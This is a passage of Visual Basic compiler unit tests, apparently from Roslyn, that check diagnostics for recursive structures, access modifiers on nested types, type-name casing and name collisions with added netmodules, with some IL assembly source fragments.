As S2 ' two errors ~~ </errors>) End Sub <Fact> Public Sub MultiplyCyclesInStructure05() Dim compilation1 = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="MultiplyCyclesInStructure05_I"> <file name="a.vb"> Public Structure SI_1 End Structure Public Structure SI_2 Public s1 As SI_1 End Structure </file> </compilation>) CompilationUtils.AssertNoErrors(compilation1) Dim compilation2 = CompilationUtils.CreateCompilationWithMscorlibAndReferences( <compilation name="MultiplyCyclesInStructure05_II"> <file name="a.vb"> Public Structure SII_3 Public s2 As SI_2 End Structure Public Structure SII_4 Public s3 As SII_3 End Structure </file> </compilation>, {New VisualBasicCompilationReference(compilation1)}) CompilationUtils.AssertNoErrors(compilation2) Dim compilation3 = CompilationUtils.CreateCompilationWithMscorlibAndReferences( <compilation name="MultiplyCyclesInStructure05_I"> <file name="a.vb"> Public Structure SI_1 Public s4 As SII_4 End Structure Public Structure SI_2 Public s1 As SI_1 End Structure </file> </compilation>, {New VisualBasicCompilationReference(compilation2)}) CompilationUtils.AssertTheseDiagnostics(compilation3, <errors> BC30294: Structure 'SI_1' cannot contain an instance of itself: 'SI_1' contains 'SII_4' (variable 's4'). 'SII_4' contains 'SII_3' (variable 's3'). 'SII_3' contains 'SI_2' (variable 's2'). 'SI_2' contains 'SI_1' (variable 's1'). Public s4 As SII_4 ~~ </errors>) End Sub <Fact> Public Sub SynthesizedConstructorLocation() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="a.vb"> Class Foo End Class </file> </compilation>) Dim typeFoo = compilation.SourceModule.GlobalNamespace.GetTypeMembers("Foo").Single() Dim instanceConstructor = typeFoo.InstanceConstructors.Single() AssertEx.Equal(typeFoo.Locations, instanceConstructor.Locations) End Sub <Fact> Public Sub UsingProtectedInStructureMethods() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="UsingProtectedInStructureMethods"> <file name="a.vb"> Structure Foo Protected Overrides Sub Finalize() End Sub Protected Sub OtherMethod() End Sub End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC31067: Method in a structure cannot be declared 'Protected' or 'Protected Friend'. Protected Sub OtherMethod() ~~~~~~~~~ </errors>) End Sub <Fact> Public Sub UsingMustOverrideInStructureMethods() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="UsingProtectedInStructureMethods"> <file name="a.vb"> Module Module1 Sub Main() End Sub End Module Structure S2 Public MustOverride Function Foo() As String End Function End Structure </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <errors> BC30435: Members in a Structure cannot be declared 'MustOverride'. Public MustOverride Function Foo() As String ~~~~~~~~~~~~ BC30430: 'End Function' must be preceded by a matching 'Function'. End Function ~~~~~~~~~~~~ </errors>) End Sub <Fact> Public Sub Bug4135() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="Bug4135"> <file name="a.vb"> Interface I1 Protected Interface I2 End Interface Protected Friend Interface I3 End Interface Protected delegate Sub D1() Protected Friend delegate Sub D2() Protected Class C1 End Class Protected Friend Class C2 End Class Protected Structure S1 End Structure Protected Friend Structure S2 End Structure Protected Enum E1 val End Enum Protected Friend Enum E2 val End Enum 'Protected F1 As Integer 'Protected Friend F2 As Integer Protected Sub Sub1() Protected Friend Sub Sub2() End Interface Structure S3 Protected Interface I4 End Interface Protected Friend Interface I5 End Interface Protected delegate Sub D3() Protected Friend delegate Sub D4() Protected Class C3 End Class Protected Friend Class C4 End Class Protected Structure S4 End Structure Protected Friend Structure S5 End Structure Protected Enum E3 val End Enum Protected Friend Enum E4 val End Enum Protected F3 As Integer Protected Friend F4 As Integer Protected Sub Sub3() End Sub Protected Friend Sub Sub4() End Sub End Structure Module M1 Protected Interface I8 End Interface Protected Friend Interface I9 End Interface Protected delegate Sub D7() Protected Friend delegate Sub D8() Protected Class C7 End Class Protected Friend Class C8 End Class Protected Structure S8 End Structure Protected Friend Structure S9 End Structure Protected Enum E5 val End Enum Protected Friend Enum E6 val End Enum Protected F5 As Integer Protected Friend F6 As Integer Protected Sub Sub7() End Sub Protected Friend Sub Sub8() End Sub End Module Protected Interface I11 End Interface Protected Structure S11 End Structure Protected Class C11 End Class Protected Enum E11 val End Enum Protected Module M11 End Module Protected Friend Interface I12 End Interface Protected Friend Structure S12 End Structure Protected Friend Class C12 End Class Protected Friend Enum E12 val End Enum Protected Friend Module M12 End Module Protected delegate Sub D11() Protected Friend delegate Sub D12() Class C4 Protected Interface I6 End Interface Protected Friend Interface I7 End Interface Protected delegate Sub D5() Protected Friend delegate Sub D6() Protected Class C5 End Class Protected Friend Class C6 End Class Protected Structure S6 End Structure Protected Friend Structure S7 End Structure Protected Enum E7 val End Enum Protected Friend Enum E8 val End Enum Protected F7 As Integer Protected Friend F8 As Integer Protected Sub Sub5() End Sub Protected Friend Sub Sub6() End Sub End Class </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <expected> BC31209: Interface in an interface cannot be declared 'Protected'. Protected Interface I2 ~~~~~~~~~ BC31209: Interface in an interface cannot be declared 'Protected Friend'. Protected Friend Interface I3 ~~~~~~~~~~~~~~~~ BC31068: Delegate in an interface cannot be declared 'Protected'. Protected delegate Sub D1() ~~~~~~~~~ BC31068: Delegate in an interface cannot be declared 'Protected Friend'. Protected Friend delegate Sub D2() ~~~~~~~~~~~~~~~~ BC31070: Class in an interface cannot be declared 'Protected'. Protected Class C1 ~~~~~~~~~ BC31070: Class in an interface cannot be declared 'Protected Friend'. Protected Friend Class C2 ~~~~~~~~~~~~~~~~ BC31071: Structure in an interface cannot be declared 'Protected'. Protected Structure S1 ~~~~~~~~~ BC31071: Structure in an interface cannot be declared 'Protected Friend'. Protected Friend Structure S2 ~~~~~~~~~~~~~~~~ BC31069: Enum in an interface cannot be declared 'Protected'. Protected Enum E1 ~~~~~~~~~ BC31069: Enum in an interface cannot be declared 'Protected Friend'. Protected Friend Enum E2 ~~~~~~~~~~~~~~~~ BC30270: 'Protected' is not valid on an interface method declaration. Protected Sub Sub1() ~~~~~~~~~ BC30270: 'Protected Friend' is not valid on an interface method declaration. Protected Friend Sub Sub2() ~~~~~~~~~~~~~~~~ BC31047: Protected types can only be declared inside of a class. Protected Interface I4 ~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Interface I5 ~~ BC31047: Protected types can only be declared inside of a class. Protected delegate Sub D3() ~~ BC31047: Protected types can only be declared inside of a class. Protected Friend delegate Sub D4() ~~ BC31047: Protected types can only be declared inside of a class. Protected Class C3 ~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Class C4 ~~ BC31047: Protected types can only be declared inside of a class. Protected Structure S4 ~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Structure S5 ~~ BC31047: Protected types can only be declared inside of a class. Protected Enum E3 ~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Enum E4 ~~ BC30435: Members in a Structure cannot be declared 'Protected'. Protected F3 As Integer ~~~~~~~~~ BC30435: Members in a Structure cannot be declared 'Protected Friend'. Protected Friend F4 As Integer ~~~~~~~~~~~~~~~~ BC31067: Method in a structure cannot be declared 'Protected' or 'Protected Friend'. Protected Sub Sub3() ~~~~~~~~~ BC31067: Method in a structure cannot be declared 'Protected' or 'Protected Friend'. Protected Friend Sub Sub4() ~~~~~~~~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected'. Protected Interface I8 ~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected Friend'. Protected Friend Interface I9 ~~~~~~~~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected'. Protected delegate Sub D7() ~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected Friend'. Protected Friend delegate Sub D8() ~~~~~~~~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected'. Protected Class C7 ~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected Friend'. Protected Friend Class C8 ~~~~~~~~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected'. Protected Structure S8 ~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected Friend'. Protected Friend Structure S9 ~~~~~~~~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected'. Protected Enum E5 ~~~~~~~~~ BC30735: Type in a Module cannot be declared 'Protected Friend'. Protected Friend Enum E6 ~~~~~~~~~~~~~~~~ BC30593: Variables in Modules cannot be declared 'Protected'. Protected F5 As Integer ~~~~~~~~~ BC30593: Variables in Modules cannot be declared 'Protected Friend'. Protected Friend F6 As Integer ~~~~~~~~~~~~~~~~ BC30433: Methods in a Module cannot be declared 'Protected'. Protected Sub Sub7() ~~~~~~~~~ BC30433: Methods in a Module cannot be declared 'Protected Friend'. Protected Friend Sub Sub8() ~~~~~~~~~~~~~~~~ BC31047: Protected types can only be declared inside of a class. Protected Interface I11 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Structure S11 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Class C11 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Enum E11 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Module M11 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Interface I12 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Structure S12 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Class C12 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Enum E12 ~~~ BC31047: Protected types can only be declared inside of a class. Protected Friend Module M12 ~~~ BC31047: Protected types can only be declared inside of a class. Protected delegate Sub D11() ~~~ BC31047: Protected types can only be declared inside of a class. Protected Friend delegate Sub D12() ~~~ </expected>) End Sub <Fact> Public Sub Bug4136() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="Bug4136"> <file name="a.vb"> Interface I1 Private Interface I2 End Interface Private delegate Sub D1() Private Class C1 End Class Private Structure S1 End Structure Private Enum E1 val End Enum 'Private F1 As Integer Private Sub Sub1() End Interface Private Interface I11 End Interface Private Structure S11 End Structure Private Class C11 End Class Private Enum E11 val End Enum Private Module M11 End Module Private delegate Sub D11() Structure S3 Private Interface I4 End Interface Private delegate Sub D3() Private Class C3 End Class Private Structure S4 End Structure Private Enum E3 val End Enum Private F3 As Integer Private Sub Sub3() End Sub End Structure Module M1 Private Interface I8 End Interface Private delegate Sub D7() Private Class C7 End Class Private Structure S8 End Structure Private Enum E5 val End Enum Private F5 As Integer Private Sub Sub7() End Sub End Module Class C4 Private Interface I6 End Interface Private delegate Sub D5() Private Class C5 End Class Private Structure S6 End Structure Private Enum E7 val End Enum Private F7 As Integer Private Sub Sub5() End Sub End Class </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <expected> BC31209: Interface in an interface cannot be declared 'Private'. Private Interface I2 ~~~~~~~ BC31068: Delegate in an interface cannot be declared 'Private'. Private delegate Sub D1() ~~~~~~~ BC31070: Class in an interface cannot be declared 'Private'. Private Class C1 ~~~~~~~ BC31071: Structure in an interface cannot be declared 'Private'. Private Structure S1 ~~~~~~~ BC31069: Enum in an interface cannot be declared 'Private'. Private Enum E1 ~~~~~~~ BC30270: 'Private' is not valid on an interface method declaration. Private Sub Sub1() ~~~~~~~ BC31089: Types declared 'Private' must be inside another type. Private Interface I11 ~~~ BC31089: Types declared 'Private' must be inside another type. Private Structure S11 ~~~ BC31089: Types declared 'Private' must be inside another type. Private Class C11 ~~~ BC31089: Types declared 'Private' must be inside another type. Private Enum E11 ~~~ BC31089: Types declared 'Private' must be inside another type. Private Module M11 ~~~ BC31089: Types declared 'Private' must be inside another type. Private delegate Sub D11() ~~~ </expected>) compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="Bug4136"> <file name="a.vb"> Interface I1 Friend Interface I2 End Interface Friend delegate Sub D1() Friend Class C1 End Class Friend Structure S1 End Structure Friend Enum E1 val End Enum 'Friend F1 As Integer Friend Sub Sub1() End Interface Friend Interface I11 End Interface Friend Structure S11 End Structure Friend Class C11 End Class Friend Enum E11 val End Enum Friend Module M11 End Module Friend delegate Sub D11() Structure S3 Friend Interface I4 End Interface Friend delegate Sub D3() Friend Class C3 End Class Friend Structure S4 End Structure Friend Enum E3 val End Enum Friend F3 As Integer Friend Sub Sub3() End Sub End Structure Module M1 Friend Interface I8 End Interface Friend delegate Sub D7() Friend Class C7 End Class Friend Structure S8 End Structure Friend Enum E5 val End Enum Friend F5 As Integer Friend Sub Sub7() End Sub End Module Class C4 Friend Interface I6 End Interface Friend delegate Sub D5() Friend Class C5 End Class Friend Structure S6 End Structure Friend Enum E7 val End Enum Friend F7 As Integer Friend Sub Sub5() End Sub End Class </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <expected> BC31068: Delegate in an interface cannot be declared 'Friend'. Friend delegate Sub D1() ~~~~~~ BC31070: Class in an interface cannot be declared 'Friend'. Friend Class C1 ~~~~~~ BC31071: Structure in an interface cannot be declared 'Friend'. Friend Structure S1 ~~~~~~ BC31069: Enum in an interface cannot be declared 'Friend'. Friend Enum E1 ~~~~~~ BC30270: 'Friend' is not valid on an interface method declaration. Friend Sub Sub1() ~~~~~~ </expected>) compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="Bug4136"> <file name="a.vb"> Interface I1 Public Interface I2 End Interface Public delegate Sub D1() Public Class C1 End Class Public Structure S1 End Structure Public Enum E1 val End Enum 'Public F1 As Integer Public Sub Sub1() End Interface Public Interface I11 End Interface Public Structure S11 End Structure Public Class C11 End Class Public Enum E11 val End Enum Public Module M11 End Module Public delegate Sub D11() Structure S3 Public Interface I4 End Interface Public delegate Sub D3() Public Class C3 End Class Public Structure S4 End Structure Public Enum E3 val End Enum Public F3 As Integer Public Sub Sub3() End Sub End Structure Module M1 Public Interface I8 End Interface Public delegate Sub D7() Public Class C7 End Class Public Structure S8 End Structure Public Enum E5 val End Enum Public F5 As Integer Public Sub Sub7() End Sub End Module Class C4 Public Interface I6 End Interface Public delegate Sub D5() Public Class C5 End Class Public Structure S6 End Structure Public Enum E7 val End Enum Public F7 As Integer Public Sub Sub5() End Sub End Class </file> </compilation>) CompilationUtils.AssertTheseDiagnostics(compilation, <expected> BC31068: Delegate in an interface cannot be declared 'Public'. Public delegate Sub D1() ~~~~~~ BC31070: Class in an interface cannot be declared 'Public'. Public Class C1 ~~~~~~ BC31071: Structure in an interface cannot be declared 'Public'. Public Structure S1 ~~~~~~ BC31069: Enum in an interface cannot be declared 'Public'. Public Enum E1 ~~~~~~ BC30270: 'Public' is not valid on an interface method declaration. Public Sub Sub1() ~~~~~~ </expected>) End Sub ' Constructor initializers don't bind yet <WorkItem(7926, "DevDiv_Projects/Roslyn")> <WorkItem(541123, "DevDiv")> <Fact> Public Sub StructDefaultConstructorInitializer() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="StructDefaultConstructorInitializer"> <file name="StructDefaultConstructorInitializer.vb"> Structure S Public _x As Integer Public Sub New(x As Integer) Me.New() ' Note: not allowed in Dev10 End Sub End Structure </file> </compilation>) compilation.VerifyDiagnostics() Dim structType = compilation.GlobalNamespace.GetMember(Of NamedTypeSymbol)("S") Dim constructors = structType.GetMembers(WellKnownMemberNames.InstanceConstructorName) Assert.Equal(2, constructors.Length) Dim sourceConstructor = CType(constructors.First(Function(c) Not c.IsImplicitlyDeclared), MethodSymbol) Dim synthesizedConstructor = CType(constructors.First(Function(c) c.IsImplicitlyDeclared), MethodSymbol) Assert.NotEqual(sourceConstructor, synthesizedConstructor) Assert.Equal(1, sourceConstructor.Parameters.Length) Assert.Equal(0, synthesizedConstructor.Parameters.Length) End Sub <Fact> Public Sub MetadataNameOfGenericTypes() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="MetadataName"> <file name="a.vb"> Class Gen1(Of T, U, V) End Class Class NonGen End Class </file> </compilation>) Dim globalNS = compilation.GlobalNamespace Dim gen1Class = DirectCast(globalNS.GetMembers("Gen1").First(), NamedTypeSymbol) Assert.Equal("Gen1", gen1Class.Name) Assert.Equal("Gen1`3", gen1Class.MetadataName) Dim nonGenClass = DirectCast(globalNS.GetMembers("NonGen").First(), NamedTypeSymbol) Assert.Equal("NonGen", nonGenClass.Name) Assert.Equal("NonGen", nonGenClass.MetadataName) Dim system = DirectCast(globalNS.GetMembers("System").First(), NamespaceSymbol) Dim equatable = DirectCast(system.GetMembers("IEquatable").First(), NamedTypeSymbol) Assert.Equal("IEquatable", equatable.Name) Assert.Equal("IEquatable`1", equatable.MetadataName) End Sub <Fact()> Public Sub TypeNameSpelling1() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="a.vb"> Public Class Aa End Class Public Partial Class AA End Class </file> <file name="b.vb"> Public Partial Class aa End Class </file> </compilation>) Assert.Equal("Aa", compilation.GlobalNamespace.GetTypeMembers("aa")(0).Name) Assert.Equal("Aa", compilation.GlobalNamespace.GetTypeMembers("Aa")(0).Name) Assert.Equal("Aa", compilation.GlobalNamespace.GetTypeMembers("AA")(0).Name) Assert.Equal("Aa", compilation.GlobalNamespace.GetTypeMembers("aA")(0).Name) End Sub <Fact()> Public Sub TypeNameSpelling2() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="b.vb"> Public Partial Class aa End Class </file> <file name="a.vb"> Public Class Aa End Class Public Partial Class AA End Class </file> </compilation>) Assert.Equal("aa", compilation.GlobalNamespace.GetTypeMembers("aa")(0).Name) Assert.Equal("aa", compilation.GlobalNamespace.GetTypeMembers("Aa")(0).Name) Assert.Equal("aa", compilation.GlobalNamespace.GetTypeMembers("AA")(0).Name) Assert.Equal("aa", compilation.GlobalNamespace.GetTypeMembers("aA")(0).Name) End Sub <Fact()> Public Sub StructureInstanceConstructors() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="b.vb"> Structure S1 Sub new () end sub End Structure Structure S2 Sub new (optional i as integer = 1) end sub End Structure </file> </compilation>) Dim s1 = compilation.GlobalNamespace.GetTypeMembers("s1")(0) Assert.Equal(1, s1.InstanceConstructors.Length) Dim s2 = compilation.GlobalNamespace.GetTypeMembers("s2")(0) Assert.Equal(2, s2.InstanceConstructors.Length) compilation.VerifyDiagnostics() End Sub <Fact, WorkItem(530171, "DevDiv")> Public Sub ErrorTypeTest01() Dim compilation = CreateCompilationWithMscorlib( <compilation name="Err"> <file name="b.vb"> Sub TopLevelMethod() End Sub </file> </compilation>) Dim symbol = DirectCast(compilation.SourceModule.GlobalNamespace.GetMembers().LastOrDefault(), NamedTypeSymbol) Assert.Equal("<invalid-global-code>", symbol.Name) Assert.False(symbol.IsErrorType(), "ErrorType") Assert.True(symbol.IsImplicitClass, "ImplicitClass") End Sub <Fact> Public Sub NameCollisionWithAddedModule_01() Dim source1 = <compilation name="module"> <file name="a.vb"> Namespace NS1 Friend Class C1 End Class Friend Class c2 End Class End Namespace Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim modComp = CreateCompilationWithMscorlib(source1, OutputKind.NetModule) Dim modRef = modComp.EmitToImageReference(expectedWarnings:= { Diagnostic(ERRID.WRN_NamespaceCaseMismatch3, "ns1").WithArguments("ns1", "NS1", "a.vb") }) Dim source2 = <compilation> <file name="a.vb"> Namespace NS1 Friend Class C1 End Class Friend Class c2 End Class End Namespace Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source2, {modRef}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation, <expected> BC40055: Casing of namespace name 'ns1' does not match casing of namespace name 'NS1' in 'a.vb'. Namespace ns1 ~~~ </expected>) CompileAndVerify(compilation) End Sub <Fact> Public Sub NameCollisionWithAddedModule_02() Dim source1 = <compilation name="module"> <file name="a.vb"> Namespace NS1 Public Class C1 End Class Public Class c2 End Class End Namespace Namespace ns1 Public Class C3 End Class Public Class c4 End Class End Namespace </file> </compilation> Dim modComp = CreateCompilationWithMscorlib(source1, OutputKind.NetModule) Dim modRef = modComp.EmitToImageReference(expectedWarnings:= { Diagnostic(ERRID.WRN_NamespaceCaseMismatch3, "ns1").WithArguments("ns1", "NS1", "a.vb") }) Dim source2 = <compilation> <file name="a.vb"> Namespace NS1 Friend Class C1 End Class Friend Class c2 End Class End Namespace Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source2, {modRef}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation, <expected> BC37210: Type 'C1' conficts with public type defined in added module 'module.netmodule'. Friend Class C1 ~~ BC37210: Type 'c2' conficts with public type defined in added module 'module.netmodule'. Friend Class c2 ~~ BC40055: Casing of namespace name 'ns1' does not match casing of namespace name 'NS1' in 'a.vb'. Namespace ns1 ~~~ BC37210: Type 'C3' conficts with public type defined in added module 'module.netmodule'. Friend Class C3 ~~ BC37210: Type 'c4' conficts with public type defined in added module 'module.netmodule'. Friend Class c4 ~~ </expected>) End Sub <Fact> Public Sub NameCollisionWithAddedModule_03() Dim source1 = <compilation name="module"> <file name="a.vb"> Public Class C1 End Class Public Class c2 End Class Namespace ns2 Public Class C3 End Class Public Class c4 End Class End Namespace </file> </compilation> Dim modComp = CreateCompilationWithMscorlib(source1, OutputKind.NetModule) Dim modRef = modComp.EmitToImageReference() Dim source2 = <compilation> <file name="a.vb"> Namespace NS1 Friend Class C1 End Class Friend Class c2 End Class End Namespace Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source2, {modRef}, TestOptions.ReleaseDll) CompileAndVerify(compilation) End Sub <Fact> Public Sub NameCollisionWithAddedModule_04() Dim source1 = <compilation name="module"> <file name="a.vb"> Namespace NS1 Public Class c1 End Class End Namespace Namespace ns1 Public Class c2 End Class Public Class C3(Of T) End Class Public Class c4 End Class End Namespace </file> </compilation> Dim modComp = CreateCompilationWithMscorlib(source1, OutputKind.NetModule) Dim modRef = modComp.EmitToImageReference(expectedWarnings:= { Diagnostic(ERRID.WRN_NamespaceCaseMismatch3, "ns1").WithArguments("ns1", "NS1", "a.vb") }) Dim source2 = <compilation> <file name="a.vb"> Namespace NS1 Friend Class C1 End Class Friend Class c2 End Class End Namespace Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source2, {modRef}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation, <expected> BC40055: Casing of namespace name 'ns1' does not match casing of namespace name 'NS1' in 'a.vb'. Namespace ns1 ~~~ BC37210: Type 'c4' conficts with public type defined in added module 'module.netmodule'. Friend Class c4 ~~ </expected>) End Sub <Fact> Public Sub NameCollisionWithAddedModule_05() Dim source1 = <compilation name="module"> <file name="a.vb"> Public Class C1 End Class Public Class c2 End Class Namespace ns1 Public Class C3 End Class Public Class c4 End Class End Namespace </file> </compilation> Dim modComp = CreateCompilationWithMscorlib(source1, OutputKind.NetModule) Dim modRef = modComp.EmitToImageReference() Dim source2 = <compilation> <file name="a.vb"> Friend Class C1 End Class Friend Class c2 End Class Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source2, {modRef}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation, <expected> BC37210: Type 'C1' conficts with public type defined in added module 'module.netmodule'. Friend Class C1 ~~ BC37210: Type 'c2' conficts with public type defined in added module 'module.netmodule'. Friend Class c2 ~~ BC37210: Type 'C3' conficts with public type defined in added module 'module.netmodule'. Friend Class C3 ~~ BC37210: Type 'c4' conficts with public type defined in added module 'module.netmodule'. Friend Class c4 ~~ </expected>) End Sub <Fact> Public Sub NameCollisionWithAddedModule_06() Dim source1 = <compilation name="module"> <file name="a.vb"> Public Class C1 End Class Public Class c2 End Class Namespace NS1 Public Class C3 End Class Public Class c4 End Class End Namespace </file> </compilation> Dim modComp = CreateCompilationWithMscorlib(source1, OutputKind.NetModule) Dim modRef = modComp.EmitToImageReference() Dim source2 = <compilation> <file name="a.vb"> Friend Class C1 End Class Friend Class c2 End Class Namespace ns1 Friend Class C3 End Class Friend Class c4 End Class End Namespace </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source2, {modRef}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation, <expected> BC37210: Type 'C1' conficts with public type defined in added module 'module.netmodule'. Friend Class C1 ~~ BC37210: Type 'c2' conficts with public type defined in added module 'module.netmodule'. Friend Class c2 ~~ </expected>) End Sub <Fact> Public Sub NameCollisionWithAddedModule_07() Dim ilSource = <![CDATA[ .assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 4:0:0:0 } .module ITest20Mod.netmodule // MVID: {53AFCDC2-985A-43AE-928E-89B4A4017344} .imagebase 0x10000000 .file alignment 0x00000200 .stackreserve 0x00100000 .subsystem 0x0003 // WINDOWS_CUI .corflags 0x00000001 // ILONLY // Image base: 0x00EC0000 // =============== CLASS MEMBERS DECLARATION =================== .class interface public abstract auto ansi ITest20<T> { } // end of class ITest20 ]]> Dim ilBytes As ImmutableArray(Of Byte) = Nothing Using reference = SharedCompilationUtils.IlasmTempAssembly(ilSource.Value, appendDefaultHeader:=False) ilBytes = ReadFromFile(reference.Path) End Using Dim moduleRef = ModuleMetadata.CreateFromImage(ilBytes).GetReference() Dim source = <compilation> <file name="a.vb"> Interface ITest20 End Interface </file> </compilation> Dim compilation = CreateCompilationWithMscorlibAndReferences(source, {moduleRef}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37211: Type 'ITest20(Of T)' exported from module 'ITest20Mod.netmodule' conflicts with type declared in primary module of this assembly. </expected>) End Sub <Fact> Public Sub NameCollisionWithAddedModule_08() Dim ilSource = <![CDATA[ .assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 4:0:0:0 } .module mod_1_1.netmodule // MVID: {98479031-F5D1-443D-AF73-CF21159C1BCF} .imagebase 0x10000000 .file alignment 0x00000200 .stackreserve 0x00100000 .subsystem 0x0003 // WINDOWS_CUI .corflags 0x00000001 // ILONLY // Image base: 0x00D30000 // =============== CLASS MEMBERS DECLARATION =================== .class interface public abstract auto ansi ns.c1<T> { } .class interface public abstract auto ansi c2<T> { } .class interface public abstract auto ansi ns.C3<T> { } .class interface public abstract auto ansi C4<T> { } .class interface public abstract auto ansi NS1.c5<T> { } ]]> Dim ilBytes As ImmutableArray(Of Byte) = Nothing Using reference = SharedCompilationUtils.IlasmTempAssembly(ilSource.Value, appendDefaultHeader:=False) ilBytes = ReadFromFile(reference.Path) End Using Dim moduleRef1 = ModuleMetadata.CreateFromImage(ilBytes).GetReference() Dim mod2 = <compilation name="mod_1_2"> <file name="a.vb"> namespace ns public interface c1 end interface public interface c3 end interface end namespace public interface c2 end interface public interface c4 end interface namespace ns1 public interface c5 end interface end namespace </file> </compilation> Dim source = <compilation> <file name="a.vb"> </file> </compilation> Dim moduleRef2 = CreateCompilationWithMscorlib(mod2, TestOptions.ReleaseModule).EmitToImageReference() Dim compilation = CreateCompilationWithMscorlibAndReferences(source, {moduleRef1, moduleRef2}, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37212: Type 'c2' exported from module 'mod_1_2.netmodule' conflicts with type 'c2(Of T)' exported from module 'mod_1_1.netmodule'. BC37212: Type 'ns.c1' exported from module 'mod_1_2.netmodule' conflicts with type 'ns.c1(Of T)' exported from module 'mod_1_1.netmodule'. </expected>) End Sub <Fact> Public Sub NameCollisionWithAddedModule_09() Dim forwardedTypesSource = <compilation name=""> <file name="a.vb"> Public Class CF1 End Class namespace ns Public Class CF2 End Class End Namespace public class CF3(Of T) End Class </file> </compilation> forwardedTypesSource.@name = "ForwardedTypes1" Dim forwardedTypes1 = CreateCompilationWithMscorlib(forwardedTypesSource, TestOptions.ReleaseDll) Dim forwardedTypes1Ref = New VisualBasicCompilationReference(forwardedTypes1) forwardedTypesSource.@name = "ForwardedTypes2" Dim forwardedTypes2 = CreateCompilationWithMscorlib(forwardedTypesSource, TestOptions.ReleaseDll) Dim forwardedTypes2Ref = New VisualBasicCompilationReference(forwardedTypes2) forwardedTypesSource.@name = "forwardedTypesMod" Dim forwardedTypesModRef = CreateCompilationWithMscorlib(forwardedTypesSource, TestOptions.ReleaseModule).EmitToImageReference() Dim modSource = <![CDATA[ .assembly extern <<TypesForWardedToAssembly>> { .ver 0:0:0:0 } .assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 4:0:0:0 } .class extern forwarder CF1 { .assembly extern <<TypesForWardedToAssembly>> } .class extern forwarder ns.CF2 { .assembly extern <<TypesForWardedToAssembly>> } .module <<ModuleName>>.netmodule // MVID: {987C2448-14BC-48E8-BE36-D24E14D49864} .imagebase 0x10000000 .file alignment 0x00000200 .stackreserve 0x00100000 .subsystem 0x0003 // WINDOWS_CUI .corflags 0x00000001 // ILONLY // Image base: 0x00D90000 ]]>.Value Dim ilBytes As ImmutableArray(Of Byte) = Nothing Using reference = SharedCompilationUtils.IlasmTempAssembly(modSource.Replace("<<ModuleName>>", "module1_FT1").Replace("<<TypesForWardedToAssembly>>", "ForwardedTypes1"), appendDefaultHeader:=False) ilBytes = ReadFromFile(reference.Path) End Using Dim module1_FT1_Ref = ModuleMetadata.CreateFromImage(ilBytes).GetReference() Using reference = 